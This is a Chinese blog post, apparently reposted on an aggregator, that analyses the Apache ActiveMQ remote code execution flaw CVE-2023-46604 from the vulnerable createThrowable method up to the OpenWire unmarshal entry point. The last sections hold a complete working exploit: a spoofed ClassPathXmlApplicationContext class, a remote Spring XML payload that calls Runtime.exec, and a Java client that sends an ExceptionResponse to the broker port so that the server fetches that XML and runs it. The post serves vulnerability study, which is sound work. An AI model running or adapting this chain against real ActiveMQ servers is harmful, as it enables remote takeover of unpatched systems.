经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » Java相关 » Java » 查看文章
ActiveMQ RCE CVE-2023-46604分析
来源:cnblogs  作者:功夫小熊猫  时间:2024/1/10 8:57:10  对本文有异议

一、漏洞触发点

org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller类的createThrowable方法。

  1. package org.apache.activemq.openwire.v12;
  2. BaseDataStreamMarshaller
  3. private Throwable createThrowable(String className, String message) {
  4. try {
  5. Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
  6. Constructor constructor = clazz.getConstructor(new Class[] {String.class});
  7. return (Throwable)constructor.newInstance(new Object[] {message});
  8. } catch (Throwable e) {
  9. return new Throwable(className + ": " + message);
  10. }
  11. }

这里通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。
activemq包含Spring,而ClassPathXmlApplicationContext类刚好能满足。

  1. public class MainClassPathXmlApplicationContext {
  2. public static void main(String[] args) throws Exception {
  3. ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
  4. Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
  5. Constructor constructor = aClass.getConstructor(new Class[]{String.class});
  6. constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
  7. }
  8. }

二、触发流程

createThrowable的触发来源两处

  1. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
  2. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable

tightUnmarsalThrowable和looseUnmarsalThrowable的作用是将字节流反序列化为异常对象,并将其抛出。在 ActiveMQ 的消息传递过程中,异常对象可以用于在消息发送和接收之间传递错误信息或异常状态。通过将异常对象序列化并作为消息的一部分发送,接收方可以获取到发送方抛出的异常,并反序列化后处理。

这两处继续往上寻找触发点,一共有三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:

  1. ConnectionErrorMarshaller
  2. ExceptionResponseMarshaller
  3. MessageAckMarshaller

三类都存在tightUnmarshal和looseUnmarshal方法,两个方法分别触发tightUnmarshal和looseUnmarsalThrowable。
继续向上寻找,触发均来自OpenWireFormat类的doUnmarshal,该方法是OpenWire协议的反序列化方法。
在doUnmarshal中,根据dataType索引值对应的类,来执行对应类的tightUnmarshal或looseUnmarshal。

  1. public Object doUnmarshal(DataInput dis) throws IOException {
  2. byte dataType = dis.readByte();
  3. if (dataType != NULL_TYPE) {
  4. DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
  5. if (dsm == null) {
  6. throw new IOException("Unknown data type: " + dataType);
  7. }
  8. Object data = dsm.createObject();
  9. if (this.tightEncodingEnabled) {
  10. BooleanStream bs = new BooleanStream();
  11. bs.unmarshal(dis);
  12. dsm.tightUnmarshal(this, data, dis, bs);
  13. } else {
  14. dsm.looseUnmarshal(this, data, dis);
  15. }
  16. return data;
  17. } else {
  18. return null;
  19. }
  20. }

dataType在dataMarshallers中对应的上述三种类索引如下:

  1. ConnectionErrorMarshaller---16
  2. ExceptionResponseMarshaller---31
  3. MessageAckMarshaller---22

doUnmarshal再往上就是unmarshal,这也是所有数据接收的入口。

通过这里的分析,只要我们将ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。

三、传递的对象类型

通过上述知道dataType需要为16、31、22。当发送的对象类为ConnectionErrorExceptionResponseMessageAck的时候dataType分别是16、31、22。
而这三个类接收的exception参数需要继承Throwable,所以可以在本地构造一个与Spring同路径名的ClassPathXmlApplicationContext类并继承Throwable,当ClassPathXmlApplicationContext对象发送后,类路径和message会被解析,最后服务器侧通过类路径反射得到Spring中的ClassPathXmlApplicationContext对象,达到攻击效果。

  1. package org.springframework.context.support;
  2. public class ClassPathXmlApplicationContext extends Throwable{
  3. public ClassPathXmlApplicationContext(String message) {
  4. super(message);
  5. }
  6. }

四、如何发送序列化对象

Transport的oneway可实现对象发送,ActiveMQ的连接对象为ActiveMQConnection类,通过使用ActiveMQConnection类中asyncSendPacket最终调用Transport的oneway,来发送恶意对象。

  1. ((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);

五、利用方式

远程XML文件

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  3. <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
  4. <bean id="process" factory-bean="runtime" factory-method="exec">
  5. <constructor-arg value="cmd /c start calc" />
  6. </bean>
  7. </beans>

ClassPathXmlApplicationContext类

  1. package org.springframework.context.support;
  2. public class ClassPathXmlApplicationContext extends Throwable{
  3. public ClassPathXmlApplicationContext(String message) {
  4. super(message);
  5. }
  6. }

最终实现

  1. import javax.jms.*;
  2. public class Main {
  3. private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
  4. public static void main(String[] args) throws Exception {
  5. ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
  6. Connection connection = activeMQConnectionFactory.createConnection();
  7. connection.start();
  8. Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
  9. ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
  10. // ConnectionError connectionError = new ConnectionError();
  11. // connectionError.setException(obj);
  12. // MessageAck messageAck = new MessageAck();
  13. // messageAck.setPoisonCause(obj);
  14. ((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
  15. connection.close();
  16. }
  17. }

原文链接:https://www.cnblogs.com/vpandaxjl/p/17955481

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号